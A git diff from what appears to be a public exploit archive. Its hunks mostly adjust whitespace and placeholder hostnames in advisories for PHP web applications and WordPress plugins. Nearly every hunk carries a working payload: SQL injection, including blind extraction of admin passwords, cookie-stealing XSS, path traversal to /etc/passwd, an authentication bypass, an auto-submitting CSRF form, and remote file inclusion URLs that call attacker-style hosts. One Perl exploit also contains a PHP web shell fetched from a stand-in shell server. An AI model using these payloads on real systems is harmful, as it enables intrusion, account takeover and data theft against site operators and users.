+6,4 @@ A successful exploit may allow an attacker to compromise the application, access IP.Gallery 2.0.5 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?automodule=gallery&cmd=si&img=[SQL] \ No newline at end of file +http://www.example.com/index.php?automodule=gallery&cmd=si&img=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/38231.txt b/platforms/php/webapps/38231.txt index 2da98adc5..d295e4075 100755 --- a/platforms/php/webapps/38231.txt +++ b/platforms/php/webapps/38231.txt @@ -10,4 +10,4 @@ http://www.example.com/demos/classifiedultra/subclass.php?c=16'[SQLi HERE] Cross-site scripting: -http://www.example.com/demos/classifiedultra/subclass.php?c=6&cname=Credit%20Cards[XSS HERE] \ No newline at end of file +http://www.example.com/demos/classifiedultra/subclass.php?c=6&cname=Credit%20Cards[XSS HERE] \ No newline at end of file diff --git a/platforms/php/webapps/38234.txt b/platforms/php/webapps/38234.txt index df92306b1..d284467b5 100755 --- a/platforms/php/webapps/38234.txt +++ b/platforms/php/webapps/38234.txt @@ -6,4 +6,4 @@ Successful exploits may allow the attacker to bypass authentication and gain acc DigiLIBE 3.4 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/configuration/general_configuration.html \ No newline at end of file +http://www.example.com/[path]/configuration/general_configuration.html \ No newline at end of file diff --git a/platforms/php/webapps/38236.txt b/platforms/php/webapps/38236.txt index d1ae6a753..02f99f2c3 100755 --- a/platforms/php/webapps/38236.txt +++ b/platforms/php/webapps/38236.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow gpEasy CMS 3.5.2 and prior versions are vulnerable. -http://www.example.com//?cmd=new_section&section=%22%3%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com//?cmd=new_section&section=%22%3%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/38237.txt b/platforms/php/webapps/38237.txt index 6df37ccaa..74b92427b 100755 --- a/platforms/php/webapps/38237.txt +++ b/platforms/php/webapps/38237.txt @@ -6,5 +6,5 @@ An attacker may leverage these issues to cause denial-of-service conditions, upl http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1 -http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badserver/big_file&h=1&w=1 -http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badserver/shell.php \ No newline at end of file +http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1 +http://www.example.com/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php \ No newline at end of file diff --git a/platforms/php/webapps/38238.txt b/platforms/php/webapps/38238.txt index 66ae008e5..8778144f5 100755 --- a/platforms/php/webapps/38238.txt +++ b/platforms/php/webapps/38238.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHPWeby Free directory script 1.2 is vulnerable; other versions may also be affected. -fullname=Ping And Pong Is Interesting Game xD%5C&mail=sssssssssssssssssss&subject=,(select case((select mid(`pass`,1,1) from admin_area limit 1 offset 0)) when 0x32 then sleep(10) else 0 end) ,1,2,3,4)-- and 5!=('Advertising+Inquiry&message=TEST \ No newline at end of file +fullname=Ping And Pong Is Interesting Game xD%5C&mail=sssssssssssssssssss&subject=,(select case((select mid(`pass`,1,1) from admin_area limit 1 offset 0)) when 0x32 then sleep(10) else 0 end) ,1,2,3,4)-- and 5!=('Advertising+Inquiry&message=TEST \ No newline at end of file diff --git a/platforms/php/webapps/3824.txt b/platforms/php/webapps/3824.txt index c7d61ffb1..08671a83b 100755 --- a/platforms/php/webapps/3824.txt +++ b/platforms/php/webapps/3824.txt @@ -60,7 +60,7 @@ Successful exploitation requires that "register_globals" is enabled. Poc/Exploit: ~~~~~~~~~ -http://server/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=http://attacker.com/evil? +http://www.target.com/wp-content/plugins/wp-table/js/wptable-button.phpp?wpPATH=http://attacker.com/evil? Solution: diff --git a/platforms/php/webapps/38246.txt b/platforms/php/webapps/38246.txt index fd3335ee6..734a06e13 100755 --- a/platforms/php/webapps/38246.txt +++ b/platforms/php/webapps/38246.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access iCart Pro 4.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/forum/icart.php?do=editproduct&productid=19&section=' \ No newline at end of file +http://www.example.com/forum/icart.php?do=editproduct&productid=19&section=' \ No newline at end of file diff --git a/platforms/php/webapps/3825.txt b/platforms/php/webapps/3825.txt index 094c7bd76..81b8fc085 100755 --- a/platforms/php/webapps/3825.txt +++ b/platforms/php/webapps/3825.txt @@ -64,7 +64,7 @@ Successful exploitation requires that "register_globals" is enabled. Poc/Exploit: ~~~~~~~~~ -http://server/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://attacker.com/evil? +http://www.target.com/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://attacker.com/evil? Google dork: ~~~~~~~~~ diff --git a/platforms/php/webapps/38251.txt b/platforms/php/webapps/38251.txt index 2b732ceca..48f177b4d 100755 --- a/platforms/php/webapps/38251.txt +++ b/platforms/php/webapps/38251.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WP-Table Reloaded versions prior to 1.9.4 are vulnerable. -http://www.example.com/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}// \ No newline at end of file +http://www.example.com/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}// \ No newline at end of file diff --git a/platforms/php/webapps/38255.txt b/platforms/php/webapps/38255.txt index 26950425b..2b102872c 100755 --- a/platforms/php/webapps/38255.txt +++ b/platforms/php/webapps/38255.txt @@ -92,7 +92,7 @@ An example file with credentials looks as follows: <?php if(!defined('KIRBY')) exit ?> username: victim -email: victim@mailserver +email: victim@mailserver.com password: > $2a$10$B3DQ5e40XQOSUDSrA4AnxeolXJNDBb5KBNfkOCKlAjznvDU7IuqpC language: en @@ -109,7 +109,7 @@ into a public directory such as: Because of the aformentioned Path Traversal vulnerability the attacker can use such credentials and log in as an administrator -(via: http://victim-server/kirby/panel/login) with: +(via: http://victim-server.com/kirby/panel/login) with: Username: ../../../../../../../../tmp/bypassauth Password: trythisout diff --git a/platforms/php/webapps/38290.txt b/platforms/php/webapps/38290.txt index 36e5d1b9b..ad36873a1 100755 --- a/platforms/php/webapps/38290.txt +++ b/platforms/php/webapps/38290.txt @@ -8,9 +8,9 @@ http://www.example.com/wp-content/themes/flashnews/thumb.php?src=%3Cbody%20onloa http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site/big_file&h=1&w=1 -http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badserver/big_file&h=1&w=1 +http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1 -http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badserver/shell.php +http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/shell.php http://www.example.com/wp-content/themes/flashnews/includes/test.php diff --git a/platforms/php/webapps/3832.txt b/platforms/php/webapps/3832.txt index e57e9720e..03613cf05 100755 --- a/platforms/php/webapps/3832.txt +++ b/platforms/php/webapps/3832.txt @@ -1,4 +1,4 @@ -\#'#/ + \#'#/ (-.-) --------------------oOO---(_)---OOo------------------- | [ Y! Underground Group ] | @@ -22,7 +22,7 @@ PoC : http://[Target]/[Path]/includes/download.php?item=../uploads/[File] -http://server/1024/includes/download.php?item=../uploads/../../../../../etc/passwd +http://Target.com/1024/includes/download.php?item=../uploads/../../../../../etc/passwd <---------------------------------------------------------------------------------------------------------------------> diff --git a/platforms/php/webapps/38324.txt b/platforms/php/webapps/38324.txt index 44de1d536..44edc7b88 100755 --- a/platforms/php/webapps/38324.txt +++ b/platforms/php/webapps/38324.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Pretty Link 1.6.3 are vulnerable. -http://www.example.com/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf?get-data=(function(){alert(xss)})() \ No newline at end of file +http://www.example.com/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf?get-data=(function(){alert(xss)})() \ No newline at end of file diff --git a/platforms/php/webapps/38326.txt b/platforms/php/webapps/38326.txt index 9b4de9381..48a6362c7 100755 --- a/platforms/php/webapps/38326.txt +++ b/platforms/php/webapps/38326.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Zenphoto 1.4.4.1 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?rss=undefined+and+1%3D0&lang=en[Blind SQL Injection] \ No newline at end of file +http://www.example.com/index.php?rss=undefined+and+1%3D0&lang=en[Blind SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/38327.txt b/platforms/php/webapps/38327.txt index aa3ecb454..a6ca2be7b 100755 --- a/platforms/php/webapps/38327.txt +++ b/platforms/php/webapps/38327.txt @@ -10,4 +10,4 @@ http://www.www.example.com/_conf/?action=statistics&filename=2011.10"><script>al http://www.www.example.com/_conf/?action=delsettings&group="><script>alert(document.cookie)</script>><marquee><h1>TheMirkin</h1></marquee> -http://www.example.com/_conf/?action=delsettings&group=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg&picdir=Sample_Gallery&what=descriptions \ No newline at end of file +http://www.example.com/_conf/?action=delsettings&group=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg&picdir=Sample_Gallery&what=descriptions \ No newline at end of file diff --git a/platforms/php/webapps/38328.txt b/platforms/php/webapps/38328.txt index e4d4af4be..2568da15b 100755 --- a/platforms/php/webapps/38328.txt +++ b/platforms/php/webapps/38328.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow OpenEMR 4.1.1 is vulnerable; other versions may also be affected. -http://www.example.com/openemr/[DIR]/[SCRIPT]?site="><script>alert(1);</script> \ No newline at end of file +http://www.example.com/openemr/[DIR]/[SCRIPT]?site="><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/38329.txt b/platforms/php/webapps/38329.txt index 56e72873f..782bab102 100755 --- a/platforms/php/webapps/38329.txt +++ b/platforms/php/webapps/38329.txt @@ -16,4 +16,4 @@ http://www.example.com/path/dataTables/extras/TableTools/media/swf/ZeroClipboard http://www.example.com/script/jqueryplugins/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height -http://www.example.com/www.example.coms/all/modules/ogdi_field/plugins/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height \ No newline at end of file +http://www.example.com/www.example.coms/all/modules/ogdi_field/plugins/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height \ No newline at end of file diff --git a/platforms/php/webapps/3833.pl b/platforms/php/webapps/3833.pl index 7deab9029..44e2aaca6 100755 --- a/platforms/php/webapps/3833.pl +++ b/platforms/php/webapps/3833.pl @@ -31,7 +31,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.shellserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.shellsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"bd0rk from Germany search exploits just for fun";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/38331.txt b/platforms/php/webapps/38331.txt index 113d4babb..21fc7bbe3 100755 --- a/platforms/php/webapps/38331.txt +++ b/platforms/php/webapps/38331.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br https://www.example.com/wp-content/plugins/smart-flv/jwplayer.swf?file=1.mp4&link=javascript:alert%28%22horse%22%29&linktarget=_self&displayclick=link -https://www.example.com/wp-content/plugins/smart-flv/jwplayer.swf?playerready=alert%28%22horse%22%29 \ No newline at end of file +https://www.example.com/wp-content/plugins/smart-flv/jwplayer.swf?playerready=alert%28%22horse%22%29 \ No newline at end of file diff --git a/platforms/php/webapps/38332.txt b/platforms/php/webapps/38332.txt index b0e2b65d4..294f0a970 100755 --- a/platforms/php/webapps/38332.txt +++ b/platforms/php/webapps/38332.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Batavi 1.2.2 is vulnerable; other versions may also be affected. -<root>/admin/index.php?file_manager&file_manager&"><script>alert(123)</script></a><a href=" \ No newline at end of file +<root>/admin/index.php?file_manager&file_manager&"><script>alert(123)</script></a><a href=" \ No newline at end of file diff --git a/platforms/php/webapps/38355.txt b/platforms/php/webapps/38355.txt index 26600caca..eb913862a 100755 --- a/platforms/php/webapps/38355.txt +++ b/platforms/php/webapps/38355.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Uploader 1.0.4 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3Cscript%3Ealert%28123%29;%3C/script%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3Cscript%3Ealert%28123%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/38367.txt b/platforms/php/webapps/38367.txt index 6972ac7ed..a5a998653 100755 --- a/platforms/php/webapps/38367.txt +++ b/platforms/php/webapps/38367.txt @@ -4,4 +4,4 @@ Your Own Classifieds is prone to a cross-site scripting vulnerability because it An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/cat-search/for-sales-2/%22%3E%3Cimg%20src=x%20onerror=prompt%280%29;%3E \ No newline at end of file +http://www.example.com/cat-search/for-sales-2/%22%3E%3Cimg%20src=x%20onerror=prompt%280%29;%3E \ No newline at end of file diff --git a/platforms/php/webapps/38373.txt b/platforms/php/webapps/38373.txt index 3b5c2cb17..d2a3dbbb1 100755 --- a/platforms/php/webapps/38373.txt +++ b/platforms/php/webapps/38373.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- -</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> \ No newline at end of file +</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> \ No newline at end of file diff --git a/platforms/php/webapps/38374.txt b/platforms/php/webapps/38374.txt index 51b0ebf12..64b8d6339 100755 --- a/platforms/php/webapps/38374.txt +++ b/platforms/php/webapps/38374.txt @@ -10,4 +10,4 @@ http://www.example.com/swfupload.swf?buttonText=test%3Cimg%20src=%27http://demo. Cross-site scripting: -http://www.example.com/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E \ No newline at end of file +http://www.example.com/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E \ No newline at end of file diff --git a/platforms/php/webapps/38375.txt b/platforms/php/webapps/38375.txt index a1e319716..6c8b9253d 100755 --- a/platforms/php/webapps/38375.txt +++ b/platforms/php/webapps/38375.txt @@ -4,4 +4,4 @@ Asteriskguru Queue Statistics is prone to an cross-site scripting vulnerability An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/public/error.php?warning=<XSS injection> \ No newline at end of file +http://www.example.com/public/error.php?warning=<XSS injection> \ No newline at end of file diff --git a/platforms/php/webapps/38376.txt b/platforms/php/webapps/38376.txt index d0b29c7d6..91607c0be 100755 --- a/platforms/php/webapps/38376.txt +++ b/platforms/php/webapps/38376.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow podPress 8.8.10.13 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/podpress/players/1pixelout/1pixelout_player.swf?playerID=\"))}catch(e){alert(/xss/)}// \ No newline at end of file +http://www.example.com/wp-content/plugins/podpress/players/1pixelout/1pixelout_player.swf?playerID=\"))}catch(e){alert(/xss/)}// \ No newline at end of file diff --git a/platforms/php/webapps/38386.txt b/platforms/php/webapps/38386.txt index 43911aad9..bb474740c 100755 --- a/platforms/php/webapps/38386.txt +++ b/platforms/php/webapps/38386.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to upload arbitrary files in the context of PHPBoost 4.0 is vulnerable; other versions may also be affected. -http://www.example.com/phpboost/user/?url=/../../KedAns \ No newline at end of file +http://www.example.com/phpboost/user/?url=/../../KedAns \ No newline at end of file diff --git a/platforms/php/webapps/38391.txt b/platforms/php/webapps/38391.txt index ee9257db3..9c06c85d5 100755 --- a/platforms/php/webapps/38391.txt +++ b/platforms/php/webapps/38391.txt @@ -4,4 +4,4 @@ Petite Annonce is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[path]/annonce/moteur-prix.php?categoriemoteur=1"><script>alert(31337);</script> \ No newline at end of file +http://www.example.com/[path]/annonce/moteur-prix.php?categoriemoteur=1"><script>alert(31337);</script> \ No newline at end of file diff --git a/platforms/php/webapps/38393.html b/platforms/php/webapps/38393.html index 27d22dbac..204175224 100755 --- a/platforms/php/webapps/38393.html +++ b/platforms/php/webapps/38393.html @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to perform certain unauthorize Occasions 1.0.4 is vulnerable; other versions may also be affected. -<html> <head><title>CSRF Occasions</title></head> <body> <!-- www.example.com:9001/wordpress --> <form action="http://127.0.0.1:9001/wordpress/wp-admin/options-general.php?page=occasions/occasions.php" method="POST"> <input type="hidden" name="action" value="saveoccasions" /> <input type="hidden" name="nodes[]" value="1" /> <input type="hidden" name="occ_title1" value="CSRF Vulnerability" /> <input type="hidden" name="occ_startdate1" value="18.03." /> <input type="hidden" name="occ_enddate1" value="28.03." /> <input type="hidden" name="occ_type1" value="1" /> <input type="hidden" name="occ_content1" value="<script>alert(1)</script>" /> <script>document.forms[0].submit();</script> </form> </body> </html> \ No newline at end of file +<html> <head><title>CSRF Occasions</title></head> <body> <!-- www.example.com:9001/wordpress --> <form action="http://127.0.0.1:9001/wordpress/wp-admin/options-general.php?page=occasions/occasions.php" method="POST"> <input type="hidden" name="action" value="saveoccasions" /> <input type="hidden" name="nodes[]" value="1" /> <input type="hidden" name="occ_title1" value="CSRF Vulnerability" /> <input type="hidden" name="occ_startdate1" value="18.03." /> <input type="hidden" name="occ_enddate1" value="28.03." /> <input type="hidden" name="occ_type1" value="1" /> <input type="hidden" name="occ_content1" value="<script>alert(1)</script>" /> <script>document.forms[0].submit();</script> </form> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/38408.txt b/platforms/php/webapps/38408.txt index b50ba5dd8..4a6c42157 100755 --- a/platforms/php/webapps/38408.txt +++ b/platforms/php/webapps/38408.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Jaow CMS 2.4.8 is vulnerable; other versions may also be affected. -http://www.example.com/path/add_ons.php?add_ons=[XSS] \ No newline at end of file +http://www.example.com/path/add_ons.php?add_ons=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/38410.txt b/platforms/php/webapps/38410.txt index a5a26a90a..715749eab 100755 --- a/platforms/php/webapps/38410.txt +++ b/platforms/php/webapps/38410.txt @@ -4,4 +4,4 @@ The Banners Lite plugin for WordPress is prone to an HTML-injection vulnerabilit Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. -http://www.example.com/wordpress/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_<script>alert(/XSSProof-of-Concept/)</script> \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/wp-banners-lite/wpbanners_show.php?id=1&cid=a_<script>alert(/XSSProof-of-Concept/)</script> \ No newline at end of file diff --git a/platforms/php/webapps/38413.txt b/platforms/php/webapps/38413.txt index 024809af2..6bab1be09 100755 --- a/platforms/php/webapps/38413.txt +++ b/platforms/php/webapps/38413.txt @@ -5,4 +5,4 @@ OrionDB Web Directory is prone to multiple cross-site scripting vulnerabilities An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/wd-demo/index.php?c=<script >prompt(35)</script> -http://www.example.com/wd-demo/index.php?c=search&category=Food&searchtext=1</title><h1>3spi0n</h1><script >prompt(35)</script> \ No newline at end of file +http://www.example.com/wd-demo/index.php?c=search&category=Food&searchtext=1</title><h1>3spi0n</h1><script >prompt(35)</script> \ No newline at end of file diff --git a/platforms/php/webapps/38414.txt b/platforms/php/webapps/38414.txt index dcba3221e..312b0808c 100755 --- a/platforms/php/webapps/38414.txt +++ b/platforms/php/webapps/38414.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Feedweb 1.8.8 and prior versions are vulnerable. - http://www.example.com/wordpress/wp-content/plugins/feedweb/widget_remove.php?wp_post_id=[XSS] \ No newline at end of file + http://www.example.com/wordpress/wp-content/plugins/feedweb/widget_remove.php?wp_post_id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/38416.txt b/platforms/php/webapps/38416.txt index f74d41455..a23fd085e 100755 --- a/platforms/php/webapps/38416.txt +++ b/platforms/php/webapps/38416.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow e107 1.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/e107_plugins/content/handlers/content_preset.php? %3c%00script%0d%0a>alert('reflexted%20XSS')</script> \ No newline at end of file +http://www.example.com/e107_plugins/content/handlers/content_preset.php? %3c%00script%0d%0a>alert('reflexted%20XSS')</script> \ No newline at end of file diff --git a/platforms/php/webapps/38417.txt b/platforms/php/webapps/38417.txt index e825cb362..6f382bd2d 100755 --- a/platforms/php/webapps/38417.txt +++ b/platforms/php/webapps/38417.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Symphony 2.3.1 is vulnerable; other versions may also be affected. -http://www.example.com/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20 \ No newline at end of file +http://www.example.com/symphony/system/authors/?order=asc&sort=id%20INTO%20OUTFILE%20%27/var/www/file.txt%27%20--%20 \ No newline at end of file diff --git a/platforms/php/webapps/38418.txt b/platforms/php/webapps/38418.txt index c7d9c9c67..f58e4cffa 100755 --- a/platforms/php/webapps/38418.txt +++ b/platforms/php/webapps/38418.txt @@ -13,4 +13,4 @@ Cookie: fud_session_1361275607=11703687e05757acb08bb3891f5b2f8d Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 111 -SQ=8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=0&btn_submit=Add&btn_regex=1&edit=&regex_ str=(.*)&regex_str_opt=e&regex_with=phpinfo() \ No newline at end of file +SQ=8928823a5edf50cc642792c2fa4d8863&rpl_replace_opt=0&btn_submit=Add&btn_regex=1&edit=&regex_ str=(.*)&regex_str_opt=e&regex_with=phpinfo() \ No newline at end of file diff --git a/platforms/php/webapps/38425.txt b/platforms/php/webapps/38425.txt index 3c714a7bf..0c84d2beb 100755 --- a/platforms/php/webapps/38425.txt +++ b/platforms/php/webapps/38425.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/delete_user.php?id={insert} \ No newline at end of file +http://www.example.com/addressbook/register/delete_user.php?id={insert} \ No newline at end of file diff --git a/platforms/php/webapps/38426.txt b/platforms/php/webapps/38426.txt index 43234a0be..7ddbc7dbf 100755 --- a/platforms/php/webapps/38426.txt +++ b/platforms/php/webapps/38426.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/edit_user.php?id={insert} \ No newline at end of file +http://www.example.com/addressbook/register/edit_user.php?id={insert} \ No newline at end of file diff --git a/platforms/php/webapps/38427.txt b/platforms/php/webapps/38427.txt index c76b84d15..27e237c77 100755 --- a/platforms/php/webapps/38427.txt +++ b/platforms/php/webapps/38427.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/edit_user_save.php?id={insert}&lastname={insert}&firstname={insert}&phone={insert}&email={insert}&permissions={insert}&notes={insert} \ No newline at end of file +http://www.example.com/addressbook/register/edit_user_save.php?id={insert}&lastname={insert}&firstname={insert}&phone={insert}&email={insert}&permissions={insert}&notes={insert} \ No newline at end of file diff --git a/platforms/php/webapps/38428.txt b/platforms/php/webapps/38428.txt index fa6bad716..7d80431bd 100755 --- a/platforms/php/webapps/38428.txt +++ b/platforms/php/webapps/38428.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/linktick.php?site={insert} \ No newline at end of file +http://www.example.com/addressbook/register/linktick.php?site={insert} \ No newline at end of file diff --git a/platforms/php/webapps/38429.txt b/platforms/php/webapps/38429.txt index 5f002fcd2..04e69c73f 100755 --- a/platforms/php/webapps/38429.txt +++ b/platforms/php/webapps/38429.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/reset_password.php?email={insert}&password={insert} \ No newline at end of file +http://www.example.com/addressbook/register/reset_password.php?email={insert}&password={insert} \ No newline at end of file diff --git a/platforms/php/webapps/38430.txt b/platforms/php/webapps/38430.txt index f5c6900bc..04647b4f2 100755 --- a/platforms/php/webapps/38430.txt +++ b/platforms/php/webapps/38430.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/reset_password_save.php?username={insert}&password=&password_confirm=&password_hint={insert}&email={insert} \ No newline at end of file +http://www.example.com/addressbook/register/reset_password_save.php?username={insert}&password=&password_confirm=&password_hint={insert}&email={insert} \ No newline at end of file diff --git a/platforms/php/webapps/38431.txt b/platforms/php/webapps/38431.txt index e68a5832c..743a7e8b5 100755 --- a/platforms/php/webapps/38431.txt +++ b/platforms/php/webapps/38431.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/router.php COOKIE var BasicLogin \ No newline at end of file +http://www.example.com/addressbook/register/router.php COOKIE var BasicLogin \ No newline at end of file diff --git a/platforms/php/webapps/38432.txt b/platforms/php/webapps/38432.txt index fda2bf30b..3db6313df 100755 --- a/platforms/php/webapps/38432.txt +++ b/platforms/php/webapps/38432.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/traffic.php?var={insert} \ No newline at end of file +http://www.example.com/addressbook/register/traffic.php?var={insert} \ No newline at end of file diff --git a/platforms/php/webapps/38433.txt b/platforms/php/webapps/38433.txt index 0f79f2fe4..4f0f4b437 100755 --- a/platforms/php/webapps/38433.txt +++ b/platforms/php/webapps/38433.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/user_add_save.php POST var email \ No newline at end of file +http://www.example.com/addressbook/register/user_add_save.php POST var email \ No newline at end of file diff --git a/platforms/php/webapps/38434.txt b/platforms/php/webapps/38434.txt index 4db76f3e1..64de207d0 100755 --- a/platforms/php/webapps/38434.txt +++ b/platforms/php/webapps/38434.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/checklogin.php?username={insert}&password=pass \ No newline at end of file +http://www.example.com/addressbook/register/checklogin.php?username={insert}&password=pass \ No newline at end of file diff --git a/platforms/php/webapps/38435.txt b/platforms/php/webapps/38435.txt index 4616263ac..521734c72 100755 --- a/platforms/php/webapps/38435.txt +++ b/platforms/php/webapps/38435.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access PHP Address Book 8.2.5 is vulnerable; other versions may also be affected. -http://www.example.com/addressbook/register/admin_index.php?q={insert} \ No newline at end of file +http://www.example.com/addressbook/register/admin_index.php?q={insert} \ No newline at end of file diff --git 